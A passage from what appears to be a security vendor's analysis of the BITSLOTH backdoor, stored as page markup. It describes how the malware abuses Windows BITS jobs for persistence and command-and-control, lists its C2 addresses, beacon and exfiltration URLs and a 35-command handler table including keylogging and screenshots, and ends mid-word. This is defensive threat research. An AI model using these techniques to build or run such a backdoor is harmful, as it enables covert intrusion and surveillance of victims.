IP/port of the C2 server in each sample with a front-loaded string (\",(0,i.jsx)(e.code,{children:\"rrrr_url\"}),\"). This string acts as a key to identify the C2 configuration in itself while running in memory, this is used when updating the C2 server.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Below are the configurations in several samples our team has observed, the threat actor configures both internal and external IP ranges.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rrrr_url216.238.121[.]132:8443\nrrrr_url192.168.1[.]125:8443 \nrrrr_url192.168.1[.]124:8443\nrrrr_url45.116.13[.]178:443\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"One of the defining features of BITSLOTH is using the \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal\",rel:\"nofollow\",children:\"Background Intelligent Transfer Service\"}),\" (BITS) for C2. While this feature has been designed to facilitate the network transfer of files between two machines, it\\u2019s been \",(0,i.jsx)(e.a,{href:\"https://www.welivesecurity.com/2019/09/09/backdoor-stealth-falcon-group/\",rel:\"nofollow\",children:\"abused\"}),\" by multiple state-sponsored groups and continues to fly under the radar against organizations. This medium is appealing to adversaries because many organizations still struggle to monitor BITS network traffic and detect unusual BITS jobs.\"]}),`\n`,(0,i.jsxs)(e.blockquote,{children:[`\n`,(0,i.jsx)(e.p,{children:\"Windows has a system administration feature called Background Intelligent Transfer Service (BITS) enabling the download and upload of files to HTTP web servers or SMB shares. The BITS service employs multiple features during the file transfer process such as the ability to pause/resume transfers, handling network interruptions, etc. BITS traffic is usually associated with software updates therefore wrongfully implied as trusted. Many organizations lack visibility into BITS network traffic making this an appealing target.\"}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The BITS API is exposed through Window\\u2019s \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal\",rel:\"nofollow\",children:\"Component Object Model\"}),\" (COM) using the \",(0,i.jsx)(e.strong,{children:\"IBackgroundCopyManager\"}),\" \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager\",rel:\"nofollow\",children:\"interface\"}),\". This interface provides capabilities to create new jobs, enumerate existing jobs in the transfer queue, and access a specific job from a transfer queue.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image12.png\",alt:\"Initializing IBackgroundCopyManager interface\",width:\"941\",height:\"630\"})}),`\n`,(0,i.jsx)(e.p,{children:\"After initialization, BITSLOTH cancels any existing BITS jobs on the victim machine that match the following display names:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"WU Client Download\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"WU Client Upload\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"WU Client Upload R\"})}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"These names are used by the developer to blend in and associate the different BITS transfer jobs with their respective BITS \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/bits/ne-bits-bg_job_type\",rel:\"nofollow\",children:\"job type\"}),\". By canceling any existing jobs, this allows the execution of the malware to operate from a clean state.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image17.png\",alt:\"Switch statement inside BITSLOTH to process BITS job\",width:\"743\",height:\"427\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below are the Microsoft definitions matching the type of BITS job:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"BG_JOB_TYPE_DOWNLOAD\"}),\" - Specifies that the job downloads files to the client.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"BG_JOB_TYPE_UPLOAD\"}),\" - Specifies that the job uploads a file to the server.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"BG_JOB_TYPE_UPLOAD_REPLY\"}),\" - Specifies that the job uploads a file to the server, and receives a reply file from the server application.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"After canceling any existing jobs, the MAC address and operating system information are retrieved and placed into global variables. A new thread gets created, configuring the auto-start functionality. Within this thread, a new BITS download job is created with the name (\",(0,i.jsx)(e.code,{children:\"Microsoft Windows\"}),\").\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image18.png\",alt:\"BITS job creation for auto-start functionality\",width:\"1015\",height:\"226\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"This download job sets the destination URL to \",(0,i.jsx)(e.code,{children:\"http://updater.microsoft[.]com/index.aspx\"}),\". While this domain is not routable, BITSLOTH masquerades this BITS job using a benign looking domain as a cover then uses \",(0,i.jsx)(e.strong,{children:\"SetNotifyCmdLine\"}),\" to execute the malware when the transfer state is changed.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image28.png\",alt:\"Setting up BITS persistence via SetNotifyCmdLine\",width:\"506\",height:\"52\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Interestingly, this unique toolmark allowed us to pivot to additional samples showing this family has been in circulation for several years.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image4.png\",alt:\"VirusTotal relationships from embedded Microsoft URL\",width:\"1002\",height:\"372\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"At this point, the malware has now been configured with persistence via a BITS job named \",(0,i.jsx)(e.code,{children:\"Microsoft Windows\"}),\". Below is a screenshot of this job\\u2019s configuration showing the notification command line set to the BITSLOTH location (\",(0,i.jsx)(e.code,{children:\"C:\\\\ProgramData\\\\Media\\\\setup_wm.exe\"}),\")\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image33.png\",alt:\"BITSLOTH persistence job\",width:\"917\",height:\"312\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Once BITSLOTH becomes active, it will start requesting instructions from the C2 server using the \",(0,i.jsx)(e.code,{children:\"WU Client Download\"}),\" job. This request URL is generated by combining the MAC address with a hard-coded string (\",(0,i.jsx)(e.code,{children:\"wu.htm\"}),\"). Below is an example URL:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`https://192.168.182.130/00-0C-29-0E-29-87/wu.htm\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"In response to this request, the malware will then receive a 12-byte structure from the C2 server containing a unique ID for the job, command ID for the handler, and a response token. Throughout these exchanges of file transfers, temporary files from the victim machine are used as placeholders to hold the data being transmitted back and forth, BITSLOTH uses a filename starting with characters (\",(0,i.jsx)(e.code,{children:\"wm\"}),\") appended by random characters.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image25.png\",alt:\"Data exchange through temporary files\",width:\"1048\",height:\"543\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"command-functionality\",children:\"Command functionality\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BITSLOTH uses a command handler with 35 functions to process specific actions that should be taken on the victim machine. The malware has the option to be configured with HTTP or HTTPS and uses a hardcoded single byte XOR (\",(0,i.jsx)(e.code,{children:\"0x2\"}),\") to obfuscate the incoming instructions from the C2 server. The outbound requests containing the collected victim data have no additional protections by the malware itself and are sent in plaintext.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"In order to move fast, our team leveraged a helpful Python \",(0,i.jsx)(e.a,{href:\"https://github.com/SafeBreach-Labs/SimpleBITSServer\",rel:\"nofollow\",children:\"implementation\"}),\" of a BITS server released by \",(0,i.jsx)(e.a,{href:\"https://www.safebreach.com/\",rel:\"nofollow\",children:\"SafeBreach Labs\"}),\". By setting the C2 IP to our loopback address inside a VM, this allowed us to get introspection on the network traffic.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image2.png\",alt:\"BITSLOTH command handler\",width:\"833\",height:\"502\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The handlers all behave in a similar approach performing a primary function then writing the data returned from the handler to a local temporary file. These temporary files then get mapped to a BITS upload job called \",(0,i.jsx)(e.code,{children:\"WU Client Upload\"}),\". Each handler uses its own string formatting to create a unique destination URL. Each filename at the end of the URL uses a single letter to represent the type of data collected from the host, such as \",(0,i.jsx)(e.code,{children:\"P.bin\"}),\" for processes or \",(0,i.jsx)(e.code,{children:\"S.bin\"}),\" for services.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`http://192.168.182.130/00-0C-29-0E-29-87/IF/P.bin\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Below is an example screenshot showing the process enumeration handler with the string formatting and how this data is then linked to the BITS upload job.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image31.png\",alt:\"BITSLOTH handler for running processes\",width:\"920\",height:\"358\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"This link to the exfiltrated data can also be observed by viewing the BITS upload job directly. In the screenshots below, we can see the destination URL (C2 server) for the upload and the temporary file (\",(0,i.jsx)(e.code,{children:\"wm9F0C.tmp\"}),\") linked to the job.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image15.png\",alt:\"BITS upload job configuration\",width:\"968\",height:\"265\"})}),`\n`,(0,i.jsx)(e.p,{children:\"If we look at the temporary file, we can see the collected process information from the victim host.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image26.png\",alt:\"Contents of temporary file holding exfiltrated data\",width:\"794\",height:\"455\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Soon after the upload job is created, the data is sent over the network through a BITS_POST request containing the captured data.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image22.png\",alt:\"Outbound BITS_POST request\",width:\"1049\",height:\"660\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"command-handling-table\",children:\"Command handling table\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Command ID\"}),(0,i.jsx)(e.th,{children:\"Description\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"0\"}),(0,i.jsxs)(e.td,{children:[\"Collect running processes via \",(0,i.jsx)(e.strong,{children:\"WTSEnumerateProcessesW\"})]})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"1\"}),(0,i.jsxs)(e.td,{children:[\"Get Windows services via \",(0,i.jsx)(e.strong,{children:\"EnumServicesStatusW\"})]})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"2\"}),(0,i.jsxs)(e.td,{children:[\"Get system information via \",(0,i.jsx)(e.code,{children:\"systeminfo\"}),\" command\"]})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"3\"}),(0,i.jsxs)(e.td,{children:[\"Retrieve all top-level Windows via \",(0,i.jsx)(e.strong,{children:\"EnumWindows\"})]})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"5\"}),(0,i.jsx)(e.td,{children:\"Collect file listings\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"6\"}),(0,i.jsx)(e.td,{children:\"Download file from C2 server\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"7\"}),(0,i.jsx)(e.td,{children:\"Upload file to C2 server\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"10\"}),(0,i.jsx)(e.td,{children:\"Terminate itself\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"11\"}),(0,i.jsx)(e.td,{children:\"Set communication mode to HTTPS\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"12\"}),(0,i.jsx)(e.td,{children:\"Set communication mode to HTTP\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"13\"}),(0,i.jsx)(e.td,{children:\"Remove persistence\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"14\"}),(0,i.jsx)(e.td,{children:\"Reconfigure persistence\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"15\"}),(0,i.jsxs)(e.td,{children:[\"Cancel BITS download job (\",(0,i.jsx)(e.code,{children:\"WU Client Download\"}),\")\"]})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"16\"}),(0,i.jsx)(e.td,{children:\"Remove persistence and delete itself\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"17\"}),(0,i.jsx)(e.td,{children:\"Thread configuration\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"18\"}),(0,i.jsx)(e.td,{children:\"Duplicate of handler #2\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"19\"}),(0,i.jsx)(e.td,{children:\"Delete file based on file path\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"20\"}),(0,i.jsx)(e.td,{children:\"Delete folder based on file path\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"21\"}),(0,i.jsx)(e.td,{children:\"Starts terminal shell using stdin/stdout redirection\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"22\"}),(0,i.jsx)(e.td,{children:\"Resets terminal handler (#21)\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"23\"}),(0,i.jsx)(e.td,{children:\"Runs Windows tree command\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"24\"}),(0,i.jsx)(e.td,{children:\"Updates BITSLOTH, delete old version\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"25\"}),(0,i.jsxs)(e.td,{children:[\"Shutdown the machine via \",(0,i.jsx)(e.strong,{children:\"ExitWindowsEx\"})]})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"26\"}),(0,i.jsxs)(e.td,{children:[\"Reboot the machine via \",(0,i.jsx)(e.strong,{children:\"ExitWindowsEx\"})]})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"27\"}),(0,i.jsxs)(e.td,{children:[\"Log user off from the machine via \",(0,i.jsx)(e.strong,{children:\"ExitWindowsEx\"})]})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"28\"}),(0,i.jsx)(e.td,{children:\"Terminate process based on process identifier (PID)\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"29\"}),(0,i.jsxs)(e.td,{children:[\"Retrieves additional information via \",(0,i.jsx)(e.code,{children:\"msinfo32\"}),\" command\"]})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"30\"}),(0,i.jsxs)(e.td,{children:[\"Execute individual file via \",(0,i.jsx)(e.strong,{children:\"ShellExecuteW\"})]})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"34\"}),(0,i.jsxs)(e.td,{children:[\"Create new directory via \",(0,i.jsx)(e.strong,{children:\"CreateDirectoryW\"})]})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"41\"}),(0,i.jsx)(e.td,{children:\"Upload data to C2 server\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"42\"}),(0,i.jsxs)(e.td,{children:[\"Checks for capture driver via \",(0,i.jsx)(e.strong,{children:\"capGetDriverDescriptionW\"})]})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"43\"}),(0,i.jsx)(e.td,{children:\"Take screenshots of victim machine desktop\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"44\"}),(0,i.jsx)(e.td,{children:\"Record keystrokes from victim machine\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"45\"}),(0,i.jsx)(e.td,{children:\"Stop recording screenshot images\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"46\"}),(0,i.jsx)(e.td,{children:\"Stop keylogger functionality\"})]})]})]})}),`\n`,(0,i.jsx)(e.h3,{id:\"backdoor-functionality\",children:\"Backdoor functionality\"}),`\n`,(0,i.jsx)(e.p,{children:\"BITSLOTH includes a wide range of post-compromise capabilities for an adversary to operate within a victim environment. We will focus on the more significant capabilities by grouping them into different categories.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"discoveryenumeration\",children:\"Discovery/enumeration\"}),`\n`,(0,i.jsx)(e.p,{children:\"A portion of the BITSLOTH handlers are focused on retrieving and enumerating data from victim machines. This includes:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Retrieving process information via \",(0,i.jsx)(e.strong,{children:\"WTSEnumerateProcessesW\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Collecting Windows services via \",(0,i.jsx)(e.strong,{children:\"EnumServicesStatusW\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Enumerating all top-level Windows via \",(0,i.jsx)(e.strong,{children:\"EnumWindows\"}),\" with a callback function\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Retrieving system information via windows utilities such as \",(0,i.jsx)(e.code,{children:\"systeminfo\"}),\" and \",(0,i.jsx)(e.code,{children:\"msinfo32\"})]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image14.png\",alt:\"BITSLOTH handler used to collect system information\",width:\"867\",height:\"365\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"In many of the handlers, the locale version is configured to \",(0,i.jsx)(e.code,{children:\"chs \"}),\"(Chinese - Simplified).\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image16.png\",alt:\"Retrieve Windows information\",width:\"871\",height:\"335\"})}),`\n`,(0,i.jsx)(e.p,{children:\"BITSLOTH has a couple custom enumeration functions tied to retrieving file listings and performing directory tree searches. The file listing handler takes a custom parameter from the operator to target specific folder locations of interest:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"GET_DESKDOP\"}),\" \\u2192 \",(0,i.jsx)(e.strong,{children:\"CSIDL_DESKTOPDIRECTORY\"}),\" (Desktop)\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"GET_BITBUCKET\"}),\" -\u003e \",(0,i.jsx)(e.strong,{children:\"CSIDL_BITBUCKET\"}),\" (Recycle Bin)\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"GET_PERSONAl\"}),\" -\u003e \",(0,i.jsx)(e.strong,{children:\"CSIDL_MYDOCUMENTS\"}),\" (My Documents)\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image10.png\",alt:\"File listing parameters via BITSLOTH\",width:\"646\",height:\"566\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"BITSLOTH also has the ability to collect entire directory/file listings on the machine for every file by using the Windows \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tree\",rel:\"nofollow\",children:\"tree\"}),\" utility. This handler loops across the alphabet for each drive letter where the data is then saved locally in a temporary file named \",(0,i.jsx)(e.code,{children:\"aghzyxklg\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image1.png\",alt:\"Tree listing via BITSLOTH\",width:\"1087\",height:\"451\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The tree data is then compressed and sent to the C2 server with a .ZIP extension. Below is an example of the collected data. This data can help pinpoint sensitive files or provide more context about the target environment.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image5.png\",alt:\"Example of data collected through GetDirectoryTree handler\",width:\"622\",height:\"267\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"collection\",children:\"Collection\"}),`\n`,(0,i.jsx)(e.p,{children:\"In terms of collection, there are a few handlers used for actively gathering information. These are centered around capturing screenshots from the desktop and performing keylogging functionality.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BITSLOTH implements a lightweight function used to identify capture recording devices, this appears to be a technique to check for a camera using the Windows API (\",(0,i.jsx)(e.strong,{children:\"capGetDriverDescriptionW\"}),\").\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image30.png\",alt:\"Handler that records capture devices\",width:\"902\",height:\"345\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"BITSLOTH has the ability to take screenshots based on parameters provided by the operator. Input to this function uses a separator (\",(0,i.jsx)(e.code,{children:\"||\"}),\") where the operator provides the number of seconds of the capture interval and the capture count. The images are stored as BMP files with a hard coded name \",(0,i.jsx)(e.code,{children:\"ciakfjoab\"}),\" and compressed with the DEFLATE algorithm using a \",(0,i.jsx)(e.code,{children:\".ZIP\"}),\" archive. These timestamped zipped archives are then sent out to the C2 server.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The handler leverages common screenshot APIs such as \",(0,i.jsx)(e.strong,{children:\"CreateCompatibleBitmap\"}),\" and \",(0,i.jsx)(e.strong,{children:\"BitBlt\"}),\" from \",(0,i.jsx)(e.code,{children:\"Gdi32.dll\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image32.png\",alt:\"BITSLOTH screen capture using Windows APIs\",width:\"1097\",height:\"732\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"For recording keystrokes, BITSLOTH uses traditional techniques by monitoring key presses using \",(0,i.jsx)(e.strong,{children:\"GetAsyncKeyState\"}),\"/\",(0,i.jsx)(e.strong,{children:\"GetKeyState\"}),\". The handler has an argument for the number of seconds to perform the keylogging. This data is also compressed in a \",(0,i.jsx)(e.code,{children:\".ZIP\"}),\" file and sent outbound to the C2 server.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image8.png\",alt:\"Keylogger functionality inside BITSLOTH\",width:\"673\",height:\"331\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"execution--maintenance\",children:\"Execution / Maintenance\"}),`\n`,(0,i.jsx)(e.p,{children:\"BITSLOTH has multiple capabilities around maintenace and file execution as well as standard backdoor functionalities such as:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Capability to execute files stand-alone via \",(0,i.jsx)(e.strong,{children:\"ShellExecuteW\"})]}),`\n`,(0,i.jsx)(e.li,{children:\"Windows terminal capability to execute commands and read data back via pipes\"}),`\n`,(0,i.jsx)(e.li,{children:\"Create directories, perform reboots, shutdown the machine, terminate processes\"}),`\n`,(0,i.jsx)(e.li,{children:\"Perform file upload and download between C2 server\"}),`\n`,(0,i.jsx)(e.li,{children:\"Modify BITSLOTH configuration such as communication modes, update C2 URL, turn off keylogging/screenshot features\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image11.png\",alt:\"BITSLOTH\\u2019s CMD terminal\",width:\"1017\",height:\"682\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"bitsloth-pivots\",children:\"BITSLOTH pivots\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BITSLOTH appears to be actively deployed. We identified another BITSLOTH C2 server (\",(0,i.jsx)(e.code,{children:\"15.235.132[.]67\"}),\") using the same port (\",(0,i.jsx)(e.code,{children:\"8443\"}),\") with the same \",(0,i.jsx)(e.a,{href:\"https://www.shodan.io/search?query=ssl.cert.serial%3A253c1c0bbf58e1f509fc4468de462ed8872f81d9\",rel:\"nofollow\",children:\"SSL certificate\"}),\" used from our intrusion.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image20.png\",alt:\"Shodan SSL certificate matches\",width:\"1440\",height:\"706\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"While it\\u2019s not exactly clear who\\u2019s behind BITSLOTH, there was a large amount of activity of VirusTotal uploads occurring on December 12, 2021. With around 67 uploads over 24 hours from one submitter (\",(0,i.jsx)(e.code,{children:\"1fcc35ea\"}),\"), we suspect someone linked to this project was validating detections, making modifications, and uploading different versions of BITSLOTH to VirusTotal. One sample was packed with VMProtect, others stripped of functionality, some uploads were debug builds, etc.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image23.png\",alt:\"BITSLOTH - VirusTotal Submitter (1fcc35ea)\",width:\"653\",height:\"217\"})}),`\n`,(0,i.jsx)(e.p,{children:\"A lot of time has passed since then, but it is interesting seeing this family show up in a recent intrusion. Whatever the objective behind this malware, it's surprising that this family remained under the radar for so many years.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/bits-and-bytes-analyzing-bitsloth/image3.png\",alt:\"Different PDB paths from BITSLOTH uploads\",width:\"773\",height:\"172\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"ref-8747-through-mitre-attck\",children:\"REF 8747 through MITRE ATT\u0026CK\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic uses the \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK\"}),\" framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\"]}),`\n`,(0,i.jsx)(e.p,{children:`[h4] Tactics\nTactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.`}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0009/\",rel:\"nofollow\",children:\"Collection\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011/\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002/\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0010/\",rel:\"nofollow\",children:\"Exfiltration\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0003/\",rel:\"nofollow\",children:\"Persistence\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h4,{id:\"techniques\",children:\"Techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1197/\",rel:\"nofollow\",children:\"BITS Jobs\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1082/\",rel:\"nofollow\",children:\"System Information Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1574/002/\",rel:\"nofollow\",children:\"Hijack Execution Flow: DLL Side-Loading\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1113/\",rel:\"nofollow\",children:\"Screen 